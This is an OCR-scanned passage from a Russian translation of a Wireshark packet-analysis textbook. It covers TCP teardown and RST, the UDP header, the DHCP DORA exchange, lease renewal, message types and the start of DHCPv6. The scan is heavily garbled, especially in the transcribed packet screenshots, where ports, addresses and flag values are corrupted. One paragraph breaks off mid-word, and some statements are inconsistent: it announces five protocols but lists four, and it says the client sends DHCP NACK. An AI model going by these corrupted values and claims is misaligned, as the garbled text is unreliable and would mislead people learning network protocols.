> 
1 

FIN/ACK 

<,......--А_ск _ _.. 

1 

> 
<,...-~~~F-IN_l_Ac_к~~~~~ 
1 АСК 

D 
........ " .... 
-----··---

Хост Б 

Рис. 8. 9. Процесс разъединения по протоколу ТСР 

= 

Чтобы понаблюдать за процессом разъединения по протоколу ТСР в 

Wiresl1ark, откройте файл перехвата tcp _ teardown. pcapng. Начиная с первого 
пакета в перехваченной последовательности (рис. 8.10), вы можете заметить, 
что устройство, находящееся по адресу 67. 228 .110 .120, инициирует разъе~и
нение, посылая пакет с установленными флагами FI N и АСК О . 

• W1rehartc • Pi!ickg_ 1 tcp_teardown 

> Frue 1: 66 byte~-;;, wire (480 Ыts) 1 68 byt:es captured (489 Ыts) 
> fthernet II, Src; O-Link_21:99:4c (ee:es:Sd:21:99 :4c), Dst: Into1Cor_5b:7d:4a (80:21 : бо:5Ь :7d :4•) 

Internet Pr-otocol Version 4, Src: 67.228.11&.129, Ost: 172.16.16.128 
у&-.~" ·1- С-~ ь..."., rr-'\ t\•+ --· :t11ol.111 f':t~'\ с:-. O~l!"llOC. А,~ 

Source Port: 80 
Oestination Por t : 3363 
{Strea• index: е] 
(ТСР SeiP""nt Lon: е] 

~quence nu111.ber: 822643295 

Acknowled~nt "'--~r: 2879380537 

о х 

Нeader Length : 29 bytes 

Ovmiiii:',W~~it::==::..:============================1 еее . ........ • Reserved: rюt set 
• • . е ........ • Nonce : Not st!!t 
. .. • 9 . . • . .•• • Congestion Windc:ж Reduced (CWA): tIOt set 

.е.. • ECN- Echo : Not set 

.. е . • Uгgent : Not set 

. . . 1 . . . . • Acknowled~nt: Set 

.... е . .. • Push: Not set 
.е .. • Reset: tю1: se·t 

•..... 8. • Syn: Not set 
> 1 •• ·~" •• ". " •• 1 • Fin: ~t 

(ТСР Flags: •••••••д•••f] 
Window si:e value: 71 
[Colculoted window size: 71] 
{Window size scaling factor: -1 (unknown)] 
Checksu111: 0х279Ь [valida1:ion disaЫed] 
Urgent pointer: е 

IW:A: J Th»:Aa:Q:W·~D.JJAJJO..ЦJJ ~tl71,J6..li.111 ~1 TCP•lмgr/1:60•l""°1:1D-DD{/:IN.,,ACX}s.q..1J~Adr-&l9МQ5J7~lJUn-() 

1 Oose Нф 

Рис. 8. 1 О. Процесс разрыва связи инициируется отправкой пакета FIN/ АСК 



Как только первый пакет будет отправлен, хост, находящийся по адресу 

172 .16 .16 .128, ответит пакетом АСК, чтобы подтвердить прием этого пакета, 
а затем пошлет свой пакет FIN/ACК. Процесс разъединения завершится, когда 

хост, находящийся по адресу 67. 228 .110 .120, отправит завершающий пакет 
АСК. В этот момент обмен данными между двумя устройствами завершится. 

Если же им потребуется возобновить обмен данными, для этого им придется 

снова выполнить трехэтапную установку связи по протоколу ТСР. 

Сбрось~ соединений по протоколу ТСР 

Файл перехвата tcp _ В идеальном случае каждое соединение должно 

refuseconnection. pcapnq корректно завершаться путем запуска процедуры 

разрыва связи по протоколу ТСР. Однако в реаль-

1юм мире соединения очень часто разрываются внезапно. Например, хост 

может быть неверно настроен или же потенциальный злоумышленник мо

жет запустить программу сканирования портов. В подобных случаях если 

устройство не желает принять отправленный ему пакет, оно может отослать 

пакет ТСР с установленным флагом RST. Этот флаг служит для указания на то, 

что соединение резко разорвано, либо что попытка установки связи отвер

гнута. 

В файле перехвата tcp _ re fuseconnection. pcapng демонстрируется при
мер сетевого трафика, включающего в себя пакет RST. Первый пакет в этом 

файле отправлен хостом, находящимся по адресу 192 .168 .100 .138, чтобы 
попытаться связаться с хостом, расположенным по адресу 192 .168 .100 .1, 
через порт 80. Но этому хосту неизвестно, что хост, находящийся по адресу 
192 .168 .100 .1, вообще не принимает пакеты через порт 80, поскольку это 
маршрутизатор Cisco, который не поддерживает веб-интерфейс конфигури
рования. Таким образом, службы, настроенной на прием соединений через 

этот порт, не существует. В ответ на подобную попытку установить связь хост, 

находящийся по адресу 192 .168 .100 .1, посылает пакет хосту, расположенно
му по адресу 192 .168 .100 .138, сообщая, что установить связь через порт 80 не
возможно. На рис. 8.11 показано, как в ТСР-заголовке второго пакета, можно 
аварийно завершить данную попытку установки связи. В частности, пакет RST 

не содержит ничего, кроме установленных в его заголовке флагов RST и АСК О, 

после чего никакого обмена данными больше не происходит. 

Пакет RST в любом случае завершает обмен данными, независимо от того 

поступает ли он вначале попытки установить связь, как в данном примере, 

или же посылается в ходе обмена данными между хостами. 
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• Wireshark · Packet 2 · tc.p_rduseconnection о 

> Fr•""' 2: 641 bytes on wiгe (480 Ьits), 641 bytes captured (488 bits) 
> Ethernet II, Src: Ciscoinc_4b:c&:7f (OO:l2:8&:4b:c0:7f), Dst: C011pa1Co_b8:59:bl (&0:lб:d4 : b8:59:bl) 

> Internet Protocol Version 4, Src: 192.168.lM.1, Ost: 192.168.188.138 
v Tгons11ission Contгol Protocol, Src Port: 88 (88), Dst Port: 3372 (3372), Seq: 0, Ack: 95165794&, Len: 0 

Souгce Рогt: 88 
~stination Рогt: 3372 
[Stгeo• index: &] 
[ТСР 5epent Len: 0] 
Sequence nU11beг: 6 
Acknowledpent nuooЬer: 951057940 
Header Length: 28 bytes 

0 v Flags: 8х014 (RST, АСК) 
000. . . . . • Reseг-ved : Not set 
... е . . . . • Nonce: Not set 
, ... е... • Congestion Window Reduced (CWR): Not set 

.е.. • ECN-Echo: llot set 

.. 0. • Uгgent: Моt set 

. . . 1 • Acknowledg.ent: ~t 

.... е ... • Push: Not set 
.1 .. • Reset: Set 

. ". "0. • Syn: llot set 

.... ".е • Fin: Not set 
[ТСР Flags: ·····••д•R••] 

Window size value: е 
[Cвlculated window size: 0] 
[Window size scaling factoг: -2 (по window scвlins used)] 

> ChecksUll: 0х21Ь4 [volidotion dis•Ьled] 
Urgent pointeг : 0 

) [SEQ/ACK anolysis] 

Рис. 8. 1 1. Установленные флаги RST и АСК указывают на конец связи 

Протокол пользовательских дейтаграмм (UDP) 

х 

Файл перехвата udp _ 
dnsrequest.pcapng 

Протокол UDP (User Datagraш Protocol протокол 

пользовательских дейтаграмм) - это еще один прото

кол четвертого уровня, зачастую применяемый в совре

менных сетях. Если протокол ТСР предназначен для надежной доставки дан

ных со встроенной проверкой ошибок, то назначение протокола UDP - обе

спечить быструю передачу данных. Именно по этой причине протокол UDP 
не требует предварительной установки соедu1-1RНuя. и, соответственно, не может 

гарантироватъ доставку пакетов при передаче данных. Протокол UDP фор-
мально не устанавливает и не разрывает соединение между хостами, как это 

делает протокол ТСР. 

Сетевой трафик с использованием не требующего установки соединения 

протокола UDP и не предоставляющего надежных услуг по транспортировке 
данных, может показаться, по меньшей мере, непредсказуемым. И это спра

ведливо! В результате другие протоколы, использующие протокол UDP в 
качестве транспортного, как правило, имеют встроенную поддержку надеж

ной передачи данных или пользуются определенными средствами протокола 



ICMP, чтобы повысить надежность соединения. Например, протоколы уров
ня приложений DNS и DHCP, функционирование которых сильно зависит от 

скорости передачи пакетов по сети, пользуются UDP как протоколом транс
портного уровня, но в то же время они сами организуют проверку ошибок и 

установку таймеров повторной передачи. 

Структура заголовка в пакете UDP 
Файл перехвата udp _ 
dnsrequest.pcapng 

Смещение Октет 

Октет Бит 

о о 

4 32 

о 

UDР-заголовок намного меньше и проще, чем ТСР-заго

ловок. Как показано на рис. 8.12, UDР-заголовок состо
ит из следующих полей. 

Протокол пользовательских дейтаграмм (UOP) 

1 2 3 

0-7 8-15 16-23 24-31 

Порт отправителя Порт получателя 

Длина пакета Контрольная сумма 

Рис. 8.12. Структура заголовка в пакете UDP 

• Порт отправителя (Source Port). Порт, используемый для передачи па

кета на машине отправителя. 

• Порт получателя (Destination Port). Порт, в который передается пакет 

на машине получателя. 

• Длина пакета (Packet Length). Длина пакета в байтах. 

• Контрольная сумма (Checksum). Служит для гарантии неизменности 

UDР-заголовка и данных, когда они поступят по месту их назначения. 

Файл перехвата udp _ dnsrequest. pcapng содержит один пакет. Этот пакет 

представляет собой DNS-зaпpoc, в котором применяется протокол UDP. Если 
развернуть UDР-заголовок, то в нем можно обнаружить четыре поля О, как 

показано на рис. 8.13. 
Очень важно не забывать, что протокол UDP не обеспечивает надежную 

доставку пакетов. Следовательно, в любом приложении, где применяется этот 

протокол, должны быть приняты дополнительные меры для обеспечения 

надежной доставки пакетов, если в этом есть необходимость. Это совсем не 

похоже на протокол ТСР, где выполняется формальное установление соедине

ния и его разрыв, а также имеются встроенные средства для проверки удачно

го исхода передачи пакетов. 



• Wireshark · Pockel 1 · udp_dnsrequest о 

> Fra""' 1: 73 bytos on wir• (584 Ьits). 73 byt•s taptur•d (584 bits) 
> Eth•rn•t П, Sгс: Саара1Со_Ь8:59:Ы (00:16:d4:Ь8:59:Ы), Ost: Ciscoinc_4b:c0:7f (00:12:88:4b:c0:7f) 
> Int•rnot Protocol Version 4, Src: 192.168.100.138, Dst: 192.168.100.1 
v Usor D•tagra" Protocol, Src Port: 1060 (1060). Dst Port: 53 (53) 
О Sourco Port: 1060 

Destination r>ort: 53 
Length: 39 

> Chocksuiw: 0хбd5а (v•lidation disaЬl•d) 
[Str•a11 ind•x: 0) 

> Doatoin Na11• Syst... ( qu•ry) 

Рис. В. 13. Содержимое пакета UDP довольно простое 

х 

В этой главе были представлены протоколы ТСР и UDP транспортно1·0 
уровня. В отличие от протоколов сетевого уровня, протоколы ТСР и UDP со
ставляют основу большей части повседневного обмена данными по сети, и по

этому умение эффективно анализировать их играет решающую роль в сганов

лении грамотного аналитика пакетов. В главе 9 будут рассмотрены наиболее 
употребительные протоколы уровня приложений. 



РАСПРОСТРАНЕННЫЕ ПРОТОКОЛЫ 

ВЕРХНЕГО УРОВНЯ 

В этой главе мы продолжим исследование функций от

дельных протоколов, а также выясним, как выглядят их 

пакеты при просмотре в Wireshark. Мы также обсудим 
пять наиболее распространенных протоколов верхнего 

(седьмого) уровня модели OSI: DHCP, DNS, НТТР и SMTP. 

Протокол динамической настройки узла сети (DHCP) 
На ранней стадии развития сетей, когда устройству требовалось передать 

данные по сети, ему приходилось присваивать адрес вручную. По мере раз

растания сетей этот ручной процесс быстро стал трудоемким и неудобным. 

В качестве выхода из столь затруднительного положения был разработан 

протокол ВООТР (Bootstrap Protocol - протокол начальной самозагрузки), 

предназначенный для автоматического присваивания адресов устройствам, 

подключаемым к сети. Впоследствии протокол ВООТР бьи заменен более 

развитым протоколом DHCP (Dyпamic Host Coпfiguratioп Protocol - прото

кол динамической настройки узла сети). 

Протокол DHCP относится к уровню приложений и отвечает за возмож



Большинство современных DНСР-серверов предоставляют также другие па

раметры ЮIИентам, в том числе адреса используемого по умолчанию шлюза и 

DNS-cepвepы, используемые в сети. 

Структура заголовка в пакете DHCP 
Пакеты DHCP могут переносить довольно много информации Юiиенту. 

Как показано на рис. 9.1, в заголовке пакета DHCP имеются следующие поля. 

Протокол динамической настройки узла сети (DHCP) 

Смещение Октет о 1 2 3 
Октет Бит 0-7 8-15 16-23 24-31 

о о Код операции Аппаратный тип Аппаратная длина Переходы 

4 32 Идентификатор транзакции 

8 64 Количество истекших секунд Флаги 

12 96 IР-адрес клиента 

16 128 Ваш IР-адрес 

20 160 IР-адрес сервера 

24 192 IР-адрес шлюза 

28 224 IР-адрес клиента 

32 256 

36 288 

40 320 
Аппаратный адрес клиента (16 байт) 

44 352 
48+ 384+ Имя сетевого узла сервера (64 байта) 

Файл начальной загрузки (129 байт) 

Параметры 

Рис. 9. 1. Структура заголовка в пакете DHCP 

• Код операции (OpCode). Обозначает, содержит ли пакет DНСР-запрос 
или DНСР-ответ. 

• Аппаратный тип (Hardware Туре). Тип аппаратного адреса (IOMB 
Ethernet, IEEE 802, АТМ и т.д.). 

• Аппаратная длина (Hardware Length). Длина аппаратного адреса. 

• Переходы (Hops). Применяется агентом ретрансляции в поисках 

D Н СР-сервера. 



• Идентификатор транзакции (Transaction ID). Произвольное число, 
применяемое для объединения запросов и ответов в пары. 

• Количество истекших секунд (Seconds Elapsed). Количество секунд, 

прошедших с того момента, когда клиент в первый раз запросил адрес у 

D Н СР-сервера. 

• Флаги (Flags). Типы сетевого трафика (одноадресатного, широковеща

тельного и т.д.), который может принять DНСР-клиент. 

• IР-адрес клиента (Client IP Address). IР-адрес клиента, полученный из 

поля Your IP Address. 

• Ваш IР-адрес (Your IP Address). IР-адрес, предоставляемый DНСР-серве

ром и в конечном итоге становящийся адресом клиента, помещаемый в 

поле Client IP Address. 

• IР-адрес сервера (Server IP Address). IР-адрес DНСР-сервера. 

• IР-адрес шлюза (Gateway IP Address). IР-адрес используемого по умолча

нию сетевого шлюза. 

• Аппаратный адрес клиента ( ClientHardwareAddress ). МАС-адрес клиента. 

• Имя узла сервера (Server Host Name). Имя сетевого узла, на котором за

пущен сервер (опционально). 

• Файл начальной загрузки (Boot File). Файл, применяемый в протоколе 

DHCP для начальной самозагрузки узла сети (опционально). 

• Параметры (Options). В этом поле находятся дополнительные параме

тры, которые применяются для расширения структуры пакета DHCP с 
целью предоставить дополнительные возможности. 

Процесс инициализации по протоколу DHCP 

Файл nepexвamadhcp_no1ease_ Основное назначение протокола DHCP -
initialization.pcapnq присвоить адреса клиентам в процессе ини-

циализации. Этот процесс возобновления 

связи происходит между одним клиентом и DНСР-сервером, как демонстриру

ется в примере из файла перехвата dhcp _ nolease _ ini tialization. pcapng. Про

цесс инициализации по протоколу DHCP нередко называют процессом DORA 
(Discover, Offer, Request, Acknowledgment - обнаружение, предложение, за

прос, подтверждение), поскольку в нем используются следующие типы паке

тов DHCP: обнаружения, предложения, запроса, подтверждения (рис. 9.2). 
Рассмотрим по очереди каждый из этих типов пакетов DORA. 
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Рис. 9.2. Процесс DORA про протоколу DHCP 

Пакет обнаружения 

Как следует из упомянутого выше файла перехвата, первый пакет посыла

ется из хоста, находящегося по адресу О. О. О. О, через порт 68 хосту, прини
мающему этот пакет по адресу 255. 255. 255. 255 через порт 67. Клиент поль
зуется адресом О . О. О . О, поскольку у него пока еще отсутствует свой IР-адрес. 
Данный пакет посылается по универсальному широковещательному адресу 

255.255.255.255, не зависимому от конкретной сети. Этим гарантируется, 
что данный пакет будет отправлен каждому устройству в сети. А поскольку 

устройству неизвестен адрес DНСР-сервера, то этот первый пакет посылается 

в попытке обнаружить тот DНСР-сервер, который примет его. 

Исследуя содержимое панели Packet Details, в первую очередь можно обнару

жить, что в протоколе DHCP в качестве протокола транспортного уровня ис
пользуется UDP. Для протокола DHCP очень важна скорость, с которой кли
ент принимает запрашиваемую им информацию. Но в протокол DHCP встро
ены собственные средства, обеспечивающие надежность передачи данных, а 

это означает, что для него вполне подходит протокол UDP. Более подробно 
процесс обнаружения можно рассмотреть, исследовав часть первого пакета, 

относящуюся к протоколу DHCP, в панели Packet Details (рис. 9.3). 

l11QШllMl!lll Приложение Wireshark по-прежнему при анализе прот(JКма DHCP на
зывает его ВООТР, и поэтому в панели Packet Details имеется раздел 

Вootstrap Protocol вместо раздела DHCP. Тем не менее здесь и дшtRе этот 
раздел называется 'Частъю пакета, относящейся к прот(JКолу DHCP. 

Рассматриваемый здесь пакет содержит запрос, на что указывает значение 

в поле Message type О. Большинство полей в данном пакете обнаружения со

держат нули (как можно видеть в полях IР-адресов 8) или же не требуют осо
бых пояснений, исходя из их назначения, вкратце описанного в предыдущем 



разделе, где перечислены поля DНСР-заголовка. Вся суть данного пакета кро

ется в его четырех перечисленных ниже полях Option О. 

1( Wireshark . Pockot 1 · dhcp_nol•os•_rontw•I о х 

Fr•.., 1: 342 bytes on wire (2736 Ьits), 342 bytes captured (2736 Ьits) оп interface е 

Etheгn•t II, Src; V.W..re_59:fd:21 {e&:0c:29:59:fd:21}, Dst: Bro•dc•st (ff:.ff:ff:ff:ff:ff) 
) Internet Protocol Version 4, Src: е.е.е.е, Dst: 255.255.255.255 
> Useг Datagr•11 Protocol, Sгс Port: Ьооtрс (63), Dst Port: Ьootps (67) 
v Bootstrap Protocol (Discoveг) 

мessage type: Вооt Request (1) О 
Нагdwаге type: Etherntt (&Х01) 
tiaгdware •ddress length: б 

норs : е 

Trans•ction ID: ех69бddсб6 
Seconds elapsed: в 

> Вооtр flags: ВХ04106 (Unicast) 
Client IP address: 0.0.&.8 

f) Your (client) IP •ddress: 6.8.е.е 
Next serveг IP address: е.е.е.е 

Ael•y agent IP addгess: е.е.е.е 
Client 11дС •ddrtss: v ... re_S9:fd:21 {60:0c:29:59:fd:21) 
Client hardware addгess padding: 0000800000660~ 
Serve-r host naa not giv~n 
Вооt flle na11e not given 
нagic cookie: Dtк::P 

v Option: (53) DНСР М.ssagt Туре (Discover) €) 
l ength: 1 
ОНСР: Discoveг (1) 

> Option: (50) Requ•sttd IP Address 
> Option: (12) Нost Nие 
> Option: (55) Рагиеtег Request List 
> Option: (255) End 

Padding: еее00000еееее0еев0000000000ве00ееве0000000000000 ... 

Nrм 1 · r ..... AfJ()/)()01J · sо.-11.0.м ·- лs.ES.лszss · -DНCP · lnfrr. ОНСРо.rю ..... _,о""'-

Close Не1р 

Рис. 9.3. Пакет обнаружения по протоколу DHCP 

• DHCP Мessage Туре (Тяп сообщения DHCP). В этом поле задается тип со
общения 53 длиной 1 и со значением Discover (1). Эти значения указыва

ют на то, что данный пакет DHCP относится к категории обнаружения. 

• Client ldentifier (Идентификатор клиента). В этом поле предоставляют

ся дополнительные сведения о клиенте, запрашивающем IР-адрес. 

• Requested IP Address (Запрашиваемый IР-адрес). В этом поле предо

ставляется IР-адрес, который требуется получить клиенту. Это может 

быть применявшийся ранее IР-адрес юш же адрес О. О. О. О, указываю

щий на отсутствие каких-то предпочтений. 

• Parameter Request List (Список запрашиваемых параметров). В этом 

поле предоставляется список различных элементов конфигурации (IР

адресов других важных сетевых устройств и прочих не относящихся к 

ним элементов), которые клиенту требуется получить от DНСР-сервера. 



Пакет предложения 

В соответствующем IР-заголовке второго пакета из рассматриваемого здесь 

файла перехвата перечислены IР-адреса, обозначающие перемещение этого 

пакета из хоста, находящегося по адресу 192 .168 .1. 5, к хосту, расположенно
му по адресу 192 .168 .1.10 (рис. 9.4). У клиента на самом деле пока еще нет 
адреса 192 .168 .1.10, поэтому сервер попытается сначала связаться с клиен
том, используя аппаратный адрес, предоставляемый по протоколу ARP. Если 
же такая связь невозможна, сервер просто разошлет этот пакет в широкове

щательном режиме. 

Во втором пакете, который называется пакетом предложения, также имеет

ся часть, относящаяся к протоколу DHCP, а в ней - поле Message type, где ука

зывается, что речь идет об ответе О. Данный пакет содержит тот же самый 

идентификатор транзакции в поле Transaction ID, что и предыдущий пакет 8. 
Это означает, что данный ответ действительно является реакцией на первона

чальный запрос. 

Пакет предложения посылается DНСР-сервером с целью предложить свои 

услуги клиенту. Для этого в нем предоставляются сведения о самом сервере и 

адресах, которыми сервер может снабдить клиента. Как пока.зано на рис. 9.4, 
IР-адрес 192 .168 .1.10, укааанный в поле Your IP address, О предлагается клиен

ту от сервера, находящегося по адресу 192 .168 .1. 5 и указанному в поле Next 
server IP address Ф. 

В первом поле перечисляемых нараметров указывается, что данный пакет 

DHCP относится к типу предложения (Offer) 0. А в следующих далее полях 
параметров указываются дополнительные сведения, которые сервер может 

предоставить вместе с IР-адресом клиента. В частности, сервер может предло

жить следующее. 

• Время аренды IР-адреса- 10 минут. 

• Маска подсети 255. 255. 255. О. 

• Широковещательный адрес 192 .168 .1. 255. 

• Адрес маршрутизатора 192 .168 .1. 254. 

• Доменное имя mydomain. example. 

• Адреса 192 .168 .1.1и192 .168 .1. 2 сервера доменных имен. 

Пакет запроса 

Как только клиент получит предложение от DНСР-сервера, он должен 

принять его в пакете DНСР-запроса, как показано на рис. 9.5. Третий пакет из 
рассматриваемого здесь файла перехвата по-прежнему поступает из сетевого 



узла с IР-адресом О. О. О. О, поскольку процесс получения IР-адреса еще не за

вершен О. Теперь в пакете известно, с каким именно DНСР-сервером устанав

ливается связь . 

• Wir5har\:: · Paclcot 2 · dhcp_noloaso_rmowal D х 

> frome 2: 344 byt•s оп wir• (2752 bits), 344 byt•s coptur•d (2752 bits) оп int•rтoc. 0 

Ethernet II, Src: V..ar•_c0:60:"4 (90:0с:29:с0:69:а4), Dst: Vmwaгe_S9:fd:21 (90:0c:29:59:fd:2l) 

Internet Protocol Version 4, Sгс: 192.168.1.5, Dst: 192.168.1.10 

> Us"г Datagrн Protocol, Sгс Port: Ьootps (б7), Dst Port: Ьооtрс {68) 
Вootstrap Protocol (Offer) 

М.ssoge type: Boot R•ply (2) О 
Haгdware type: Etherпet (9х91) 

Haгdware addr•ss length: б 

Норs: 0 
Tгaпsaction ID: 0xб96ddc66 f) 
Seconds elapsed: 0 

> Bootp flags: 0х9090 (Unicast) 
Client IP addr•ss: 0.0.0.0 

t) Your (cli•nt) IP addr•ss: 192.168.1.10 
ф Next server IP address: 192 .168 .1. 5 

Relay agent IP address: 0.0.0.0 
Client НАС address: v,..,are_59:fd :21 (90:0c:29:59:fd:21) 

Clieпt hardware addr•ss padding: 90900909090090909090 

S•rv•r host na111e not given 
Boot file па11е поt given 
Magic cookie: DНСР 

v Optioп: (53) DНСР М.ssage ТУР" (Offer) 0 
l•ngth: 1 
DНСР: Offer (2) 

v Option: (S4) DНСР Server Identifier 
length: 4 
DНСР S•rver Id•ntifieг: 192.168.1.5 

v Option: (51) IP Address Lease Ti11e 
length: 4 
IP Addr•ss l•ase Тi...,: (бООs) 10 11inutes 

Option: (1) Subnet Mask 
length: 4 
Subnet Mask: 255. 255. 255. 0 

v Option: (28) Broadcast Addгess 
L•ngth: 4 
Bгoadcas t Addгess: 192 .168 .1. 255 

v Option: (3) Routeг 
l•ngth: 4 
Router: 192.168.l.2S4 

v Option: (15) Dolllain Nме 

length: 16 
Doowain на...,: mydomain. exa!lple 

v Option: (6) Donlain N"""' Seгv•r 
length: 8 
Domain Name Serveг: 192 .168 .1.1 
Donoain Na18e Server: 192.168.1.2 

v Option: (255) Епd 
Option End: 255 

fVr>, z. r...., J.OllZJSS. 5о<1а1, 19Z-Ja1.s ~ J'iZ.168.l.JO . ProttXtJi: ОНСР • /,?{о, ОНСР ()ff.,. 7/миаiоп ID 416~ 

Close l 1 tleip 

Рис. 9.4. Пакет предложения по протоколу DHCP 
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Jf Wireshark · Pack•t 3 · dhcp_nol•as•_renowal о 

Fгanie З: 342 bytes on wiгe {2736 bits), 342 byt•s captured (2736 bits) on int•rface 0 
Ethernet II, Src: Vtware_S9:fd:21 (00:0c:29:59:fd:21), Dst: Bгoadcast (ff:ff:ff:ff:ff:ff) 

> Inteгnet Protocol V•гsion 4, Sгс: 0.0.0.0, Ost: 255.255.255.255 ~ 
> User DatagraJI Protocol, Sгс Port: Ьооtрс (68), Ost Рогt : Ьootps (67) 
v Bootstrap Protocol (Request) 

Мessage type: Вооt Request (1) 8 
Hardware type: Eth•rnet ( 0х01) 
Haгdware addгess length: 6 
норs: 0 
Tгansaction ID: 0xб96ddc66 О 
Seconds elapsed: 0 
Bootp flags: 0х0000 (Unicast) 
Client IP address: 0.0.0.0 
Your (cli•nt) IP oddr•ss: 0.0.0.0 
Next seгver IP address: 0.0.0.0 
Relay agent IP address: 0.0.0.0 
Client НА< addгess: Vlllwaгe_59:fd:21 (00:0c :29:59:fd:21) 
Client haгdware address padding: 00000000000000000000 
Sегv~г host narae not given 
Boot file name not given 
Hagic cooki•: DНСР 

v Option: (53) ОНСР Мessage Туре (Request) О 
length: 1 
DНСР: R•qu•st (3) 

v Option: (54) DНСР Serv•r Identi fier 
length: 4 
DНСР Server Identifier: 192.168.1.5 f:} 

v Option: (50) Requested IP Address 
length: 4 
Requested IP Address: 192.168.1.10 

v Option: (12) Нost NaJae 
Length: 7 
Нost llame: ubuntu2 

> Option: (55) Parametl!r Request List 
v Option: ( 255) End 

Option End: 255 
Padding:~ 

Рис. 9.5. Пакет запроса по протоколу DHCP 

х 

1 

В поле Message type указано, что данный пакет относится к типу запроса 8, 
а в поле Transaction ID содержится то же самое число, что и в первых двух паке
тах О, указывая на то, что они являются частью одного и того же процесса. 

Данный пакет подобен пакету обнаружения в том отношении, что вся содер

жащаяся в нем информация об IР-адресах обнуляется. 

И, наконец, в полях Option указано, что данный пакет DHCP относится к 
типу запроса (Request) О. Обратите внимание на то, что запрашиваемый IР-а
дрес больше не является пустым и что в поле DHCP Server ldentifier содержится 
соответствующий IР-адрес О. 



Пакет подтверждения 

На последней стадии рассматриваемого здесь процесса DНСР-сервер по

сылает клиенту запрашиваемые IР-адреса в пакете подтверждения, записывая 

эту информацию в своей базе данных, как показано на рис. 9.6. В итоге клиент 
получит свой IР-адрес , чтобы начать по нему обмен данными в сети . 

JI. Wir<Sh•rk · Packet 4 · dhcp_nol••••_renew•I о х 

~ - --- -- -
fгanoe 4: 344 bytes on wiгe (2752 bits), 344 bytes captuгed (2752 bits) on inteгfoce 11 
Etheгnet II, 5rc: v-are_cll:611:a4 (1111:0с:29:с0:60:а4), Ost: \haware_59:fd:21 (llll:llc:29:59:fd:21) 

> Internet Pгotocol Version 4, Src: 192 .168.1.5, Ost: 192.168.1.10 
> Useг Oatagг ... Pгotocol, Src Рогt: Ьootps (67), Ost Рогt: Ьооtрс (68) 
.., Вootstгop Pгotocol (АСК) 

Мessage type: Вооt Reply (2) 
Нагdwаге type: Etheгnet (llxlll) 
Нагdwоге addгess length: 6 
Норs: 11 
Tгansoction IO: 0хб9бddсб6 

Seconds elapsed: 0 
Вооtр flags: llxllllllll (Unicost) 
Client IP addгess: 11.е.0.е 

Уоuг (client) IP addгess : 192.168.1.10 
Next sегvег IP addгess: 192 .168 .1. 5 
Reloy agent IP oddгess: 0.0.0.0 
Client 11АС oddгess: \hllwore_59:fd:21 (00:0c:29:59 :fd:21) 
Client hoгdwoгe oddress podding: 0000001100011000000000 
Server host naae not given 
Boot f Не па11е not gi ven 
Hagic cookie: ОНСР 

> Option: (53) ОНСР Мessage Туре (АСК) 
> Option: (54) ОНСР Seгver Identifieг 

Option: (51) IP Address Lease Tinie 
Option: (1) Subnet Hask 
Option: (28) Bгoodc•st Address 
Option : ( З) Routeг 
Option: (15) Doclain NallИ! 

Option: (6) Doclain Name Sегvег 
Option: (255) End 

No. : 4 • TlmA J.~ • ScutrR· J!Jbl68.1.S • - l'Jz.168.J.JO • -ОНСР • F• ОНСРАО<'- Т,,,_ /О-

Рис. 9.6. Пакет подтверждения по протоколу DHCP 

Возобновление аренды IР-адреса по протоколу DHCP 

Файл перехвата dhcp _ 
inlease_renewal .pcapng 

Когда DНСР-сервср присваивает IР-адрес устрой

ству, он сдает его клиенту в арен,ду. Это означает, 

что клиенту разрешается пользоваться присвоен

ным ему IР-адресом только в те•1ение ограниченного периода времени, по ис

течении которого ему придется воэобновить аренду данного адреса. Описан

ный выше процесс OORA происходит, когда клиент только получает свой IР-а
дрес или же когда время его аренды истекло. В любом случае считается, что у 

такого устройства истек срок аренды. 



Когда клиент с арендованным IР-адресом перезагружается, он должен вы

полнить укороченный вариант процесса DORA, чтобы затребовать свой IР-а
дрес обратно. Такой процесс называется возобновлением аренды. 

Для возобновления арендуемых адресов пакеты обнаружения и предложе

ния не нужны. Возобновление аренды можно рассматривать как такой же са

мый процесс DORA, что и для устройства с истекшим сроком аренды, только 
для этого достаточно выполнить стадии запроса и подтверждения. Характер

ный пример возобновления аренды можно найти в файле перехвата dhcp _ 
inlease renewal.pcapng. 

Параметры и типы сообщений в протоколе DHCP 
Настоящее удобство протокола DHCP кроется в доступных его параме

трах. Как бьшо показано выше, параметры, указываемые в пакете DHCP, мо
гут отличаться длиной и содержимым. Общий размер пакета DHCP зависит от 
сочетания применяемых в нем параметров. Полный перечень многочислен

ных параметров протокола DHCP можно найти по адресу h t tp: / /www. iana. 
org/assignments/bootp-dhcp-parameters/. 

Единственный параметр, который требуется во всех пакетах DHCP, указан 
в поле Message type (тип сообщения 53). Этот параметр обозначает порядок 
обработки DНСР-сервером и клиентом информации, содержащейся в пакете. 

Восемь имеющихся типов сообщений перечислены табл. 9.1. 

Таблица 9.1. Типы сообщений по протоколу DHCP 

Порядковый Тип сообщения 

номер 

Описание 

1 

2 

з 

4 

5 

6 

7 

8 

Обнаружение 

Предложение 

Запрос 

Отклонение 

Применяется клиентом для обнаружения имеющихся 

DНСР-серверов 

Посылается сервером клиенту в ответ на пакет обна

ружения 

Посылается клиентом для запрашивания у сервера 

предлагаемых им параметров 

Посылается клиентом серверу для указания на недо

стоверные параметры в пакете 

Подтверждение (АСК) Посылается сервером клиенту с запрашиваемыми па

раметрами конфигурации 

Неподтверждение (NACK) Посылается клиентом серверу для отказа от запроса 

параметров конфигурации 

Освобождение Посылается клиентом серверу для отмены аренды пу

тем освобождения параметров конфигурации 

Извещение Посылается клиентом серверу для запроса параметров 

конфигурации, когда у клиента уже имеется IР-адрес 



Версия 6 протокола DHCP (DHCPv6} 
Фай.rt перехвата dhcpб _ Если проанализировать структуру заголовка в 

outlease_acquisition.pcapnq пакете DHCP, приведенную на рис. 9.1, то 
можно заметить, что в нем недостаточно ме

ста для размещения адреса протокола IPvб. Вместо модернизации протокола 

DHCP для этих целей была разработана его версия DHCPvб по стандарту 

RFC 3315. Но поскольку версия DHCPvб не построена по принципу протокола 

ВООТР, то структура заголовка в пакете становится в данном случае более 

простой (рис. 9.7). 

Версия 6 протокола динамической настройки )'311а сети (DHCPvб) 

Смещение Октет о 1 1 2 1 3 

Октет Бит 0-7 8-15 1 16-23 1 24-31 

о о Тип сообщения Идекntфмк.атор транзакции 

4+ 32+ Параметры 

Рис. 9.7. Структура заголовка s пакете DHCPv6 

Структура заголовка в рассматриваемом здесь пакете DHCPvб содержит 

только два статических значения, которые функционируют таким же обра

зом, как и их аналоги в протоколе DHCP. А остальная часть структуры пакета 

меняется в зависимости от типа сообщения, обозначенного в первом байте. 

В разделе Параметры (Options) каждый параметр обозначается двухбайтовым 

